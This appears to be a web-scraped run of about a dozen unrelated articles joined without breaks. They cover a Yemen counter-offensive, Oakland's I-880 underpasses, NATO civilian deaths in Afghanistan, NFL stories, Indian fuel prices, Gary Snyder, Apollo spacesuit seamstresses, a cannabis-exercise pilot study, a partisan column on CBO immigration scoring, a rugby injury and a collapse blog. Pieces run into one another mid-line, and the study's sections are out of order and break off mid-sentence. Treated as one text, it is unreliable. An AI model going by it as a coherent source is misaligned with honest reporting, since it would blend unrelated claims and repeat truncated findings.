On the ground in Yemen, pro-government fighters have pushed out the Al Houthis and their allies and retaken a southern city that’s the gateway to the port of Aden in their first significant advance since a Saudi-led coalition launched air strikes on the militia group, officials said on Tuesday.
Coalition strikes, which began in March in an effort to halt the power grab of the Al Houthis, also continued on Tuesday across Yemen, targeting positions of the militia and its allies.
Despite the air strikes, the militia had advanced toward the southern port city of Aden over the past weeks and engaged in heavy ground fighting with rival forces in several cities across Yemen. But in a counter-offensive, pro-government fighters managed to capture the city of Dhale and also the command centre of the 33rd Armoured Brigade, officials said.
In capturing Dhale, pro-government fighters also seized large weapons’ and ammunition caches, armoured vehicles, and Katyusha rocket launchers, said the officials, speaking on condition of anonymity because they were not authorised to talk to reporters.
Footage aired on the Dubai-based Al-Arabiya network from Dhale showed fighters in one armoured vehicle flying the flag of once-independent South Yemen.
The pro-government forces in the south are allied with Hadi, but also want an independent southern state. Dozens of fighters — both from the pro-government side and the Al Houthis — have been killed in intense clashes the past two weeks. Fighting between the two sides was still under way on Tuesday on the outskirts of Dhale, the officials said.
— with inputs from AFP and APSPUR Talk: Reconnecting Oakland to its Waterfront I-880 Cut off Downtown from Jack London--Project Hopes to Repair the Damage
Stand in downtown Oakland and look around and it can be easy to forget it’s a coastal city. That’s because Interstate 880 cuts a giant, uninviting swath between the city center and the waterfront at Jack London Square.
But that could change. Walk this Way: The Broadway/Webster Project aims to make it more inviting to walk under I-880. At a presentation at the San Francisco Bay Area Planning and Urban Research Association (SPUR) earlier this week, Christina Ferracane of the Oakland Bureau of Planning and Savlan Hauser of the Jack London Improvement District gave an update on the project and what it aims to accomplish.
As the project’s website puts it, the aim is “…to transform the areas around, under and through the Broadway and Webster Street underpasses of the I-880 Freeway into a beautiful, safe, walkable, inviting, green, and iconic passageway connecting Downtown Oakland and the Waterfront.”
That will be a tall order, considering the width of the freeway, its low height, and high-speed traffic on the frontage roads, plus a dozen other bureaucratic and logistical challenges. But the need is critical. “People detest the freeway barrier,” said Hauser. “People will organize their whole lives in a way that they don’t have to cross the freeway to get to other parts of Oakland and daily activities. It’s a barrier to life and economic development.”
Hauser recalled something she once heard from a Jack London resident: “Whoever designed the Nimitz freeway should be taken out and shot if they’re not already dead.” Perhaps that’s a bit extreme, and misplaced, since the Nimitz freeway, a.k.a. I-880, is just one of an entire system of freeways throughout the country that have split downtowns in two and ruined the fabric of urban communities. But that doesn’t mean the damage can’t be, at least partially, undone. In a previous post, Streetsblog wrote about a group that wants to turn I-980 into a boulevard. And then there are the positive impacts of tearing down the Embarcadero freeway in San Francisco and the 101 through Hayes Valley. And, of course, there’s Mandela Parkway, the median-separated boulevard that was created when another section of I-880 was re-routed after the Loma Prieta earthquake.
SPUR’s Oakland Director, Robert Ogilvie, introduced the talk, saying he hopes that some day I-880 can be put underground through Oakland. But that would be way off in the future–and Walk this Way is about shorter term, affordable fixes. To that end, the project held charrettes in 2011 and 2016. “For the price of some beer and bánh mì sandwiches, we brought a bunch of people into the room from the city and other community stakeholders to think about physical interventions that could improve the underpasses,” said Hauser. The stakeholders indicated that the “underpasses should be luminous, dynamic, interactive, and engaging…. It was a high bar to set for a project, but we hope we can achieve all of these things.”
To figure out how, Hauser and Ferracane have been studying similar projects in other cities. They also have been considering solutions crafted specifically for this project. “We had eighteen proposals submitted to the city… with teams from all over the country, from Canada, Japan–over 120 firms represented,” said Ferracane. “There’s lots of excitement about this project.” An artistically lighted underpass in San Jose is probably the closest example geographically, but Ferracane showed images from around the world. Lighting, of course is key, and she had slides of underpasses with some pretty impressive artistic neon and other lighting treatments that would certainly make any underpass better. “Because the freeway is so low, we know that lighting is a big part of the project,” said Ferracane. But, she added, that isn’t all of it. There are also old buildings with blank, boring walls on both sides of the freeway, such as the Oakland police station on Broadway. Projecting images onto those walls can enliven the approaches to the freeway and therefore make the undercrossing feel more inviting too.
Of course, an additional approach would be to make activity spaces under the freeway to make the passageways more interesting. How about some rock climbing, as with this example from Australia? And, of course, lots of bright colors help, as in this example from New Zealand: Closer to home, Hauser cited the SOMA StrEat Food Park, which sits in the shadow of Highway 101. It occupies what was an ugly spot at Division and 11th Street, but somehow, with all the food trucks and lighting, it is an attractive, enjoyable place to spend some time.
Of course, there’s the question of money. Walk this Way is using a Safe Routes to Transit grant, which is appropriate because Webster and Broadway feed to and from BART stations, the ferry, Amtrak, and several bus lines. “That grant does planning and design up to 35 percent,” explained Ferracane. “It will take $5-7 million for construction,” she said. But she seemed confident they will get the funding. “Oakland has been successful in getting grants for projects. We got funds for the next phase of Telegraph to go from paint to curbs,” she added, referring to Telegraph’s newish parking-protected bike lanes, and the ATP grant that will allow the city to complete them.
Hauser and Ferracane spent the rest of the session fielding questions (and comments) from an eager audience. One audience member insisted the biggest problem was just keeping it clean underneath the freeway. The speakers tried to explain how complicated even simple solutions can become. Keeping up with the trash, of course, is difficult. But even things as simple as more street lighting can cause problems. For example, they explained, Caltrans objects to the city strapping lighting fixtures to the pillars or underdeck of the freeway, for fear it will interfere with regular seismic examinations and maintenance. There’s also the issue of the fast-moving traffic on the frontage roads and ramps, which would make even the prettiest and best-lit underpassing intimidating. One of the solutions is bound to require some serious negotiations with Caltrans: “We’re looking at removing the Broadway off-ramp,” said Ferracane.
There’s also the thorny and heartbreaking issue of the homeless encampments. “Homeless people typically like to transition to places they have been, so the city is thinking about spaces near I-880 for supportive services,” explained Ferracane. Let’s hope Oakland can be more successful than San Francisco has been with its efforts to work with Caltrans to solve the homeless issues on the infamous “hairball” on Cesar Chavez under Highway 101 in San Francisco.
And from Streetsblog’s perspective, most of the proposed solutions that came out of the panel are, of course, cosmetic. The undercrossings have narrow sidewalks with bikes forced to share lanes with drivers making weird last-minute maneuvers (with all the angry honking that invites) as they realize the lane they are in will force them onto the freeway. So is lighting really the first thing that needs dealt with? How about wider sidewalks, protected intersections and phased signaling?
That said, anything that can be done to repair the damage done by the destructive freeway-building age is a welcome effort from Streetsblog’s point of view. Jack London Square should be an integral part of downtown Oakland. Let’s hope this project can help knit the city back together again.
Do you have ideas for how to make freeway underpasses more walkable and inviting? What are your favorite examples of places where formerly barren areas under freeways and other structures have become usable again? Leave comments below.
For more events like these, visit SPUR’s events page.Enlarge Massoud Hossaini, AFP/Getty Images U.S. soldiers on patrol last week near Ibrahim Khel village in Afghanistan's Khost province. DEATHS UP DEATHS UP Afghan civilians killed by NATO troops are up sharply: Source: International Security Assistance Force KABUL Deaths of Afghan civilians by NATO troops have more than doubled this year, NATO statistics show, jeopardizing a U.S. campaign to win over the local population by protecting them against insurgent attacks. NATO troops accidentally killed 72 civilians in the first three months of 2010, up from 29 in the same period in 2009, according to figures the International Security Assistance Force gave USA TODAY. The numbers were released after Gen. Stanley McChrystal, the top U.S. commander in Afghanistan, issued measures to protect ordinary Afghans. A Red Cross report out Thursday said the number of civilians killed and wounded by Taliban roadside bombs has soared in Kandahar, where NATO and Afghan forces are preparing for a major offensive against the insurgent stronghold. Some Afghans say the rise in civilian deaths may help the enemy. "If (it) continues, people will abandon the government and join the Taliban," says Malalai Ishaqzai, a member of parliament. McChrystal has limited the use of airstrikes and raids on households that put civilians at risk. The emphasis on protecting non-combatants is part of a strategy to win the public's support. It appeared to be working: Civilian deaths at the hands of U.S.-led troops dropped 28% in 2009 to 596, according to the United Nations Assistance Mission in Afghanistan. "The pace of operations this year is considerably higher than last," leading to a 75% increase in "significant events" such as firefights and weapons seizures, said NATO spokesman Lt. Cmdr. Iain Baxter of the British navy. NATO forces have reduced airstrikes, which accounted for 61% of the civilians killed by NATO and Afghan forces last year, according to the U.N. mission. But civilians continue to be endangered. Four people were killed by NATO troops Monday when their bus driver ignored warnings to stop or slow down as he overtook a NATO convoy. The incident prompted an anti-American protest. "No system is 100% guaranteed, and regrettably in a very small number of incidents, the warnings are ignored and lethal force is used," Baxter says. Night raids are another risk, says Ahmad Nader Nadery, a member of the Afghanistan Independent Human Rights Commission. On Feb. 12, NATO and Afghan troops searching for a Taliban member killed five civilians in a night raid. In response, McChrystal ordered troops last month to avoid night raids on homes when possible. Civilian deaths undermine NATO efforts to win Afghan loyalty, says Seth Jones, a counterinsurgency specialist at the Rand think tank. However, he says the Taliban is to blame for most civilian deaths (67% last year, the U.N. mission says) and the United States should emphasize that fact. The Red Cross said the Mirwais Hospital in Kandahar admitted up to 40% more patients wounded by Taliban bombs in the first two months of the year compared with the same period last year. Guidelines: You share in the USA TODAY community, so please keep your comments smart and civil. Don't attack other readers personally, and keep your language decent. Use the "Report Abuse" button to make a difference. You share in the USA TODAY community, so please keep your comments smart and civil. Don't attack other readers personally, and keep your language decent. Use the "Report Abuse" button to make a difference. Read moreFRISCO, Texas -- Two hours and 45 minutes before kickoff Thursday against the Minnesota Vikings, Dallas Cowboys offensive linemen Zack Martin and Travis Frederick will take the field for their normal warmup.
Well, it’s normal for them, but not normal for a Pro Bowl guard and center.
For roughly 45 minutes, Martin will throw passes to Frederick and Frederick will throw passes to Martin. They will go through most of a wide receiver’s route tree.
“Honestly for us, it’s more fun way to kinda get warmed up,” Frederick said. “It kinda keeps us loose. Oftentimes, when you’re before a big game or anytime in the NFL, every game is a big game, a lot of times you can tighten up and kinda psych yourself out before the game, so for us to just run around, have some fun is a good way to keep loose before the game as well as get warmed up and kinda open the lungs up.”
Cowboys offensive linemen Travis Frederick (left) and Zack Martin like to warm up for games by throwing passes to one another. AP Photo/Mike Roemer
Seeing a 318-pound center run corner and post routes while catching passes from a 315-pound guard, can be entertaining.
But it’s something Martin and Frederick take serious. A little bit anyway.
“I have a decent arm,” Martin said. “I can throw it pretty good.”
Martin’s favorite throw? A flag route to the corner of the end zone to Frederick.
“He climbs the ladder,” Martin said.
Like Dez Bryant?
“Exactly like Dez,” Martin said.
Or not.
“Kyle Valero, who’s the assistant wide receivers coach, actually gives us the best tips. Every once and a while he sees something we screw up on,” Frederick said. “Every once and a while the defensive guys out on the field watch and say, ‘What are you doing? What’s that?’ We’ve never received any formal training so we try to take the little tips here and there.”
Martin’s favorite route is a comeback, like Hall of Famer Michael Irvin.
“I really sell the guy down the field there,” Martin said.
But there isn’t a defender.
“I’m working it in my mind,” Martin said.
They are careful not to interrupt anybody else’s warm-up. As offensive line coach Frank Pollack and linebackers coach Matt Eberflus do their pregame jog, they wait for their space to clear. They don’t want to get in the way of the other skill players, which is part of the reason why they are on the field so early before game time.
Completion percentages vary week to week. It’s not always precise.
“Sometimes it’s better than others,” Frederick said. “Before the games, we try and improve every week. Sometimes you can tell how we’re going to play how catch goes before.”
Judging by how they have played at the positions they are paid to play, the warm-up seems to be working.Highlights Post-revision, petrol to retail at Rs 61.87/litre in Delhi Diesel will retail at Rs 49.31/litre in the national capital Revised prices will take effect from midnight
: Petrol price was on Monday raised by Rs 2.19 per litre while diesel rate was increased by 98 paise per litre.Petrol in Delhi will cost Rs 61.87 per litre from the midnight of Monday and Tuesday as against Rs 59.68 currently, said Indian Oil Corporation, the country's largest fuel retailer. Similarly, a litre of diesel will cost Rs 49.31 as against Rs 48.33 at present.The hike comes on the back of steep increases of Rs 3.07 per litre and Rs 1.90 per litre on petrol and diesel rates, respectively, on March 17. ( Read more While this is the second straight increase in petrol price, it is the fourth straight fortnightly increase in diesel rates. The three hikes in diesel rates since February 16 total Rs 3.65 per litre."The current level of international product prices of petrol and diesel and the rupee-US dollar exchange rate warrant increase in price of petrol and diesel, the impact of which is being passed on to consumers with this price revision," IOC said in a statement.Petrol and diesel prices in India are deregulated, which means they are linked to global rates.State-owned fuel retailers IOC, Bharat Petroleum Corporation (BPCL) and Hindustan Petroleum Corporation (HPCL) revise fuel rates on the 1st and 16th of every month based on the average oil price and the foreign exchange rate in the preceding fortnight.The revision was due last week but the retailers chose to defer it by a day. "The movement of prices in the international oil market and the rupee-dollar exchange rate shall continue to be monitored closely and developing trends of the market will be reflected in future price changes," IOC added.Not long ago, I went to the top of Crater Mountain searching for a trace of the last living Beat poet, Gary Snyder. His fire lookout at 8,128 feet, where he scanned the summits of the North Cascades for the Forest Service in 1952, is long gone. But I later found his work — his words enlivening new generations at a camp below — and the man himself, kinetic in California.
Turns out, he’s not the last of the group of writers who included Jack Kerouac and Allen Ginsberg, as he scolded me for implying. The poets Lawrence Ferlinghetti, age 97, and Michael McClure, 83, are still stirring up trouble with verse and attitude. Snyder himself is a mischievous 86, a lifetime student of Zen and the art of coupling the perfect phrase to nature’s complexity.
They were known as literary subversives, rebel voices in the era of Silent Generation conformity. But among their other contributions to American life are words that some of the Beats marshaled on behalf of wild places. Kerouac, inspired by Snyder’s rapture about a summer spent in the clouds, followed him as a lookout to an area that eventually became North Cascades National Park in Washington State.
Sadly, the parks rarely get much attention on the national stage unless some knucklehead displaces a cute little baby bison or tries to feed a grizzly bear. But in this year when the Park Service is celebrating its centennial with all sorts of hand-wringing about the future, it’s instructive to remember how language can save landscape. Powerful prose has been put to good use in the cause of America’s Best Idea.In the first of a three-part series on why the NFL offseason is broken, let's look at how the current rules limit the learning curve for first-year players and players on the fringes of the roster.
When Joe Gibbs came back to the NFL during the 2004 offseason, organized team activities at Redskins Park were ultracompetitive. Guys battled. Full-scale one-on-ones, 7-on-7s, team periods -- you name it, we did it. Rookies started graduate coursework in football right there on the field in April, May and June. Speed, tempo, repetitions. That's the only way you learn in this league.
NFL Offseason To read the complete NFL offseason rules for organized team activities and minicamps, go here.
Those days are gone, swept away by the new collective bargaining agreement rules on offseason workouts, and the reduced practice time doesn't cater enough to rookie development.
These young cats are placed in an environment that is much softer than it used to be. With monitored one-on-ones between wide receivers and defensive backs (no bump and run -- ridiculous) and limitations on contact, offseason practices put coaches in a tough spot. How do you develop talent in that environment? Where do you even start?
"It's a shame," one NFL coach told me. "You have to be creative. But you can't simulate football with the physical contact taken away."
The Bears want top-10 pick Leonard Floyd to eat every couple hours to gain weight. Photo by Robin Alam/Icon Sportswire
That "physical contact" isn't about Oklahoma drills or using the helmet as a weapon. The game has changed -- for the better -- and that old-school, tough-guy nonsense isn't going to fly.
Rookies still need reps in press-man (hands, contact), tackling drills in the open field (come to balance, square up, shoot the arms), one-on-one pass rush and so much more. That's excellent work in the offseason and vital for rookies. And you can do all of that in shorts and helmets with smart, effective coaching.
But with such limited time on the field and not enough reps in true competitive situations, rookies aren't getting the correct orientation into the league. Pre-practice reps? Post-practice reps? Those were standard during my time in the league. Come out early with your position coach and stay late -- really late. The on-field work is critical. More drills, more footwork and, yes, more technique. But it's no longer allowed at OTAs. When that horn blows, it's quitting time in today's NFL.
Where is the teaching? That's what gets me. This is a game built on extra repetition and drill work -- with your coach.
Yeah, that's football, that's learning, that's the start of development.
"Things get left unresolved after practice," the coach said. "Guys aren't allowed to get better."
Think of the players who come into the league with supreme athleticism but undeveloped skill sets. Guys in the past like Barkevious Mingo with the Browns or, from this year's rookie class, Bears outside linebacker Leonard Floyd. The measurables are there. So is the speed. And the freakish skill set. We project that talent and talk about how pro coaching will push the ceiling even higher throughout the draft process.
But without the one-on-one time on the field, the extra coaching and the reps, the transition process can be bumpy for even the most talented rookies. And some never realize that expected potential.
The very basics
OTAs are now used to teach the basics. That means installing the playbook is the priority for position coaches. You can't play unless you can line up, right? But that has created a league more heavily invested in alignment and assignment than technique and execution with rookies.
Think of a new guy on a framing crew who is handed a hammer and maybe a box of nails. That's it. Go to work. Build a house. A big one.
Huh? What?
"Guys know what to do," the coach told me. "But they don't know how to do it."
What does that mean? Think of a rookie safety who knows where to line up in Cover 2. Get to the top of the numbers, right? Fifteen yards off the ball. Push to 18 yards at the snap. Stay square. Cool?
But does that rookie safety understand what the wide receiver split is telling him, the formation, the field position, the down and distance? That stuff matters if you want to actually make a play. And then, when the ball is snapped, does the rookie understand the release, the stem and the break? Or how to use the proper technique to take away the post while also playing the deep corner route? That all tells a story.
What about offensive tackles coming from a college spread system who now have to play in a pro-style offense? Or receivers who ran only bubble screens, fades and slants on Saturdays? And quarterbacks?
This is advanced stuff, and the only way to learn it is to see it on the field and on tape. But most rookies don't truly learn how to study film in their first offseason program. Where is the time?
Second-year Jets quarterback Bryce Petty says playing the Madden video game has improved his football aptitude. AP Photo/Julio Cortez
Now, many teams have adapted their offseason structure to facilitate more learning with rookies. The Los Angeles Rams, for example, have started to schedule specific meetings and practice periods just for rookies. That allows the coaching staff to put the rookies in a position to compete once they return for training camp. It also allows the club to acclimate rookies at a slower pace so their bodies can adjust to the rigors of a pro practice.
Adapt, right? Sure. That's on the coaches. And it has to be done, because the front office isn't giving out free passes. Rookies are expected to be ready to compete come training camp.
"I am coach-friendly, but I never let them give me the excuse there is not enough time," an NFL executive told me.
But even with some teams adapting their offseason structure, a lot of the coaches I've spoken to are still playing some form of catch-up when training camp starts. In the past, it was all about competition over teaching in August. The playbook was installed, the techniques were taught and rookies could just worry about fighting for a job on the team.
No more.
"If you wait 'til training camp to start getting ready, you've already lost," the coach told me.
The bubble guys
Where would I have been as a sixth-round draft pick out of Iowa in 2000 under this current CBA structure?
"You would've been f---ed," the coach told me.
He's probably right. I was an underdeveloped late-round pick with a limited skill set. The Rams' Greatest Show On Turf tore me up as a rookie during OTA practices. But I also had more reps, more teaching time and more individual time on the field with my position coach than these guys ever will. It was a crash course in pro football. And school was in session every single day during OTAs. I made the club -- barely.
But what about today's sixth-round picks or undrafted free agents? The bubble guys who may or may not have a roster spot in September? There isn't enough time to make an impression. Not with the Day 1 and Day 2 draft picks seeing more reps than the late-round guys.
"It causes the bubble guys to get cut," the coach told me.
Added another coach with NFL experience: "No question the new rules inhibit your ability to develop players over time. The late-round guys and free agents are really hurt by these rules. So, in turn, the depth of all the clubs continues to suffer."
Talking to NFL scouts, the grading process hasn't changed to reflect the new rules, or limitations, under the current CBA. Scouts aren't looking for more developed talent that is pro-ready. And that leads us back to the issue at hand. Is there really enough time to teach and prep these rookies during offseason OTAs?
I don't see it. And that's a problem for the league.
ESPN.com NFL analyst Matt Bowen played seven seasons as a defensive back in the NFL.Avoid driving into or through a dust storm.
If you encounter a dust storm, immediately check traffic around your vehicle (front, back and to the side) and begin slowing down.
Do not wait until poor visibility makes it difficult to safely pull off the roadway -- do it as soon as possible. Completely exit the highway if you can.
Do not stop in a travel lane or in the emergency lane. Look for a safe place to pull completely off the paved portion of the roadway.
Turn off all vehicle lights, including your emergency flashers. You do not want other vehicles approaching from behind to use your lights as a guide, possibly crashing into your parked vehicle.
Set your emergency brake and take your foot off the brake.
Stay in the vehicle with your seatbelts buckled and wait for the storm to pass.
Drivers of high-profile vehicles should be especially aware of changing weather conditions and travel at reduced speeds.July 16, 1969. The world waited with bated breath as three men in a rocket hurtled skyward, bound for the moon.
Half a billion people tuned in to watch the grainy black and white images of Buzz Aldrin and Neil Armstrong step out of the Eagle and onto the lunar surface.
Armstrong's first step was a triumph in a complex operation that marked a new era for mankind.
A group of seamstresses in a small town called Frederica in the state of Delaware was among those watching that moment on the moon. Their role in the American space story is unrivaled.
These unassuming women, who started off their careers stitching bras and girdles, had in fact sewn the spacesuits - 21 layers of material all together.
"I had something to do that was great. I did something great in my lifetime. I built the suit that went to the moon," 75-year-old Bert Pilkenton told CNN.
For 42 years, Pilkenton, along with some 80 other young women, individually tailored spacesuits for International Latex Corporation (ILC)Dover, which had been part of the Playtex group in the 1960s. Their intimate knowledge of the human body and skills with synthetic materials and body-hugging shapes meant they triumphed over the hard amour-like spacesuits designed by military contractors and favored by NASA's engineers.
"Lower arm, upper arm, torso, setting zippers, the convolutes. I had a part in all of it. Wherever they needed help. We just helped each other," said Ruth Ratledge who still works at ILC Dover as a seamstress, aged 77, having given up on retirement.
At times, the girls needed to blind stitch the suits, feeling underneath to get the parts to come together, sometimes within a 64th of an inch.
For the astronauts, it was a matter of life or death. Without oxygen and the protective suit, Aldrin and Armstrong would have perished on the moon in less than 30 seconds.
As a result, sewing pins were deliberately rationed. If the spacesuits were X-rayed and had stray pins left in them where the tailors had pinned the material together, they had to start all over again.
For Ellie Foraker, who began her career with Playtex in 1952 sewing baby pants, finding pins in the suits became too much to bear one day when she realized one particular seamstress had a left a pin in the suit.
She said, "I showed her the pin and I said, "You see this? It just came out of that garment that you sewed. So I'm gonna show you what a pin will do" and I stuck her in the butt. And I said, "Do you think you will remember the next time you leave a straight pin in something?" She said, "Yes ma'am"."
Once the astronauts landed safely back on planet earth, the suits went to the Smithsonian National Air andSpaceMuseuminWashingtonwhere they remain today as a testament to the women behind the suits that put man on the moon.
Bert Pilkenton laughed as she let on a secret - "When we built the Apollo suit - the one that is in the Smithsonian Institute - some of us girls names are inside that suit."The findings of this pilot study warrant larger, adequately powered controlled trials to test the efficacy of prescribed moderate aerobic exercise as a component of cannabis dependence treatment. The neurobiological mechanisms that account for these beneficial effects on cannabis use may lead to understanding of the physical and emotional underpinnings of cannabis dependence and recovery from this disorder.
Daily cannabis use within the run-in period was 5.9 joints per day (SD = 3.1, range 1.8–10.9). Average cannabis use levels within the exercise (2.8 joints, SD = 1.6, range 0.9–5.4) and follow-up (4.1 joints, SD = 2.5, range 1.1–9.5) periods were lower than during the run-in period (both P<.005). Average MCQ factor scores for the pre- and post-exercise craving assessments were reduced for compulsivity (P =.006), emotionality (P =.002), expectancy (P =.002), and purposefulness (P =.002).
Funding: This study was supported in part by the Vanderbilt Institute for Clinical and Translational Research (VICTR) grant 1UL1 RR024975 from the National Center for Research Resources (NCRR/NIH), and from grants R01 DA01537 and R21 DA020149 from the National Institute on Drug Abuse (NIDA/NIH) (to RLC), 1R01 DA015713 from NIDA/NIH (to PRM), and from the Vanderbilt Addiction Center. MSB was supported in part by DK69465. The funders had no role in study design, data collection and analysis, decision to publish, or preparation of the manuscript.
Based on reports that aerobic exercise produces a host of psychological effects potentially associated with reductions in substance abuse [6], [7], [8], [9], we hypothesized that the exercise may generically alter reward circuits such that exercise takes the place of cannabis use to a significant degree because of training, thereby reducing cannabis use as exercise becomes more reinforcing. The purpose of this pilot study was to examine the effects of a supervised 2-week moderate exercise program on cannabis craving and use in non-treatment seeking cannabis dependent adults in their normal living environment.
Since there are no US Food and Drug Administration (FDA) -approved medications for cannabis dependence, treatment currently relies primarily on behavioral approaches generically used for treatment of all drug use disorders [2]. Aerobic exercise training, empirically part of a healthy drug-free lifestyle, has been considered as a promising behavioral approach in drug and alcohol treatment programs. Most extensively studied has been the effect of exercise on tobacco smoking. For example, a 2008 Cochrane Database reviewed 13 randomized trials in smokers or recent quitters, enrolled in an exercise program and followed for six months or more [3]. Certain of the reviewed studies showed significantly higher abstinence rates in a physically active group in comparison with a control group by the end of treatment [4]. However, to our knowledge, the direct effect of exercise on cannabis use per se has not been previously reported. In two very recent pilot studies, exercise training (2–6 months) was used as treatment to reduce drug use in general. In the first study of 38 drug abusers (51% of whom abused cannabis), the 58% who completed the program increased fitness level and improved quality of life [5]. At the end of the exercise program, 15 of the 20 drug abusers at least downgraded their drug intake. In a second study of 16 drug-dependent patients, those who participated in at least 8 of 12 weekly exercise sessions had significantly better substance use outcomes than those who did not [6].
Cannabis abuse or dependence and complications have increased in all age groups in the past decade in the United States. In 2009, approximately 16.7 million (6.6%) Americans age 12 or older reported cannabis use in the past month and 6.1 million used the drug on 20 or more days per month [1]. Treatment admissions primarily for cannabis dependence have also risen both in absolute numbers (∼1.2 million/year) and as a percentage of total addiction treatment admissions, from 7% in 1998 to 16% in 2009 [1]. Hence, there is a great public health need to develop safe and effective therapeutic interventions for cannabis use disorders.
Descriptive statistics were used to summarize the participant characteristics, as well as the variables of interest in this study. Because drug use history data were extremely skewed, median, minimum and maximum values are presented to summarize those distributions; otherwise mean ± SD are reported. Analysis of differences in overall cannabis use between each of the run-in, exercise, and follow-up periods were conducted using Wilcoxon Signed Ranks tests. Friedman tests were used to analyze changes in use within each of the periods. Wilcoxon Signed Ranks Tests were used to assess the statistical significance of changes in reported craving (MCQ Factor scores) from pre-to-post exercise. An alpha level of.05 was used for determination of statistical significance.
Participants received a calendar with instructions on how to use it to record drug use during the run-in, exercise intervention, and 2-week follow-up periods. Information was collected daily during the run-in period and every 5–7 days during the follow-up period. During the exercise intervention, the information was collected daily from the participants. The record included form (i.e. joints, blunts, bongs, chillums, bowls) and quantity of cannabis used, as well as use of any other drugs and alcohol. A trained interviewer reviewed the calendar with the participant using the Timeline Follow-back Method [15] to verify the information about drug use. Reported records were independently reviewed for reliability and correctness and entered into the statistical database.
Cannabis-related cues were selected from a variety of sources and altered using a visual graphics program to ensure clarity, brightness, color balance, and size. The stimulus set includes pictures of cannabis in different forms and its use (people smoking joints) and related paraphernalia (e.g. bongs, pipes). Craving was assessed after presentation of visual stimuli using the Marijuana Craving Questionnaire (MCQ-SF) [12]. The MCQ-SF is a Likert-based, 12-item self-assessment instrument for situational cannabis craving measurement with four factors (compulsivity, emotionality, expectancy, and purposefulness). The MCQ-SF validity to monitor the course of change in craving over time has been reported [12]. Each item is rated on a scale from 1 (strongly disagree) to 7 (strongly agree). Each of the factors is comprised of 3 items. Scores for each of the factors are derived by averaging the component item responses [14]. Internal consistency of the scores as measured by the Cronbach's alpha statistic were.86 (compulsivity),.93 (emotionality),.75 (expectancy), and.89 (purposefulness) scale in our study.
Exercise was performed on a treadmill (Vision Fitness, Lake Mills, WI, US) at a target intensity of 60 |
reform -- and that's what we reflect in our budget -- in the first decade is about $160 billion of deficit reduction; in the second decade, it's almost $700 billion of deficit reduction. So it grows over time as more workers come into the country, pay taxes, and pay into the Social Security Trust Fund.
Here are the two CBO reports referenced by Donovan. The first, a letter sent by CBO Director Doug Elmendorf to Sen. Thad Cochran (R-MS) just last week about the benefits of undoing Obama's executive amnesty through the Department of Homeland Security funding bill, and second a cost estimate of the 2013 Senate amnesty bill.
Both documents do show that giving illegal immigrants work permits and Social Security numbers would result in higher revenues, almost entirely through higher payroll tax payments. Specifically, Obama's executive amnesty would lead to $22.3 billion in more taxes, $14. 9 billion in more spending, and $7.5 billion in lower deficits through 2025. The Senate amnesty bill would increase spending by $262 billion, increase revenues by $459 billion, and lower deficits by $197 billion through 2023.
But the CBO only achieves this deficit reduction by assuming the Social Security Trust Fund does not exist. The CBO is assuming that all Social Security and Medicare payroll taxes just go into the general fund and are used to pay for normal government spending right now.
If the Social Security Trust Fund does exist, in other words, if the Social Security payroll taxes of amnestied immigrants are deposited into the Social Security Trust Fund so they can be used to pay for Social Security benefits later, as law requires, then all of a sudden amnesty is a huge deficit creator.
According to the CBO, if the payroll tax dollars of the immigrants who gain work permits through Obama's amnesty are deposited in the Social Security Trust Fund, as law requires, other "on-budget" revenues will only increase by $5.2 billion through 2025, spending would increase $14 billion, for a net addition of $8.8 billion to deficits.
Under the Senate amnesty bill, "on-budget" spending would increase $259 billion, taxes would increase $245 billion, for a $14 billion net deficit.
Now it is true: if amnestied immigrants payroll tax dollars do go to the Social Security Trust Fund, instead of the federal government's general fund, then the date that the Social Security Trust Fund is scheduled to grow broke is pushed back. But Social Security would by no means be saved. People who pay into Social Security still get far more in benefits out then payments put in. This is equally true of immigrants.
So how many more years would amnesty push back the bankruptcy of the Social Security Trust Fund? A whole two years (2035 instead of 2033), according to the Chief Actuary of Social Security.
The bottom line: Obama and his amnesty activist allies can't count the increased payroll taxes from amnestied immigrants twice. Amnesty either increases the deficit by billions of dollars and increases the life span of the Social Security Trust Fund by two whole years, or amnesty decreases deficits now but only by stealing the Social Security benefits of every American who has paid into the system.
Obama can't have it both ways. Amnesty does not magically allow Social Security payroll taxes to be counted twice.The video will start in 8 Cancel
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Keelan Giles faces reconstructive knee surgery after the injury that saw him stretchered off in the Ospreys’ Guinness PRO14 encounter with the Dragons.
The talented wing left the field on the hour following a nasty collision with his opposite number Ashton Hewitt during last Friday’s game in Swansea.
The cruciate ligament injury looked a bad one at the time and so it has proved, with Giles likely to be sidelined for the rest of the season.
Ospreys’ medical performance manager Chris Towers said: “Keelan has sustained a significant knee ligament injury and will require reconstructive surgery.
“We are currently in the process of seeking expert opinion to formulate the best course of management going forward and will provide appropriate updates when necessary.”
It is a cruel blow for Giles, who was the talk of Welsh rugby last season on the strength of 14 tries, some of them spectacular, in 19 games.
He had been left out of the Wales squad for this term’s autumn internationals but the Ospreys had been pleased with his progress and felt he was pushing on with his game.
But now he faces a long-haul back to fitness.
Asked about the bumps the region picked up in their match with the Dragons, defence coach Brad Davis said: “Keelan’s the big one, with a pretty nasty knee injury.
“It’s going to take some time out of the game for him to get better.
“It’s really disappointing for the kid and we hope his rehabilitation goes well for him.
“He had a breakthrough season last term and I have 100 percent seen signs of Keelan progressing with his game.
“This season he has had a couple of setbacks, this one serious.
“But he’s shown enough in his time with the club to show he’s going to be a professional for a long time.
“Not only does he have an ability to learn the game, he’s also developing and over time he’s going to become a much more mature player.
“This is just a little bump in the road for him.
“All players go through these setbacks. It will be a learning curve for him.”
Giles was injured in an incident that saw Hewitt trek across field and put in a football-style tackle.
But the Dragons youngster subsequently offered commiserations to the Osprey as he was taken away on a stretcher and was applauded around the ground for doing so.
Davis stressed that while he felt Hewitt had been a “little bit reckless” in the challenge, there had been no intent.
“It was just unfortunate for Keelan that he got his leg caught and suffered an injury,” he said.
“My thoughts are that there was no intent in the challenge.
“He was probably a little bit reckless.
“But I can see from Hewitt’s perspective the ball was a 50-50 and from my perspective he was trying to kick it out into touch.
“I don’t think there was any intent.”If you don’t like hopeless messages it might be best to skip this post.
Cartoon by David Sipress from The New Yorker
When you put too many rats together in a confined space in conditions of scarcity for a prolonged period, you get what appears to be highly dysfunctional behaviour — a spike in extreme violence, obsessive hoarding, top-down abuse from throughout the group hierarchy, anomie and suicide at the bottom of the hierarchy, abandonment of family, and ultimately killing and eating of the (weaker) young. What had evolved as a mostly-peaceful, sensible and sustainable group culture crumbles and collapses.
Five years ago I argued that there is no reason to believe human cultures should be any different. What Dmitry Orlov describes as the five stages of cultural collapse resonates almost eerily with Edward Hall’s description of the collapse in overcrowded rat societies.
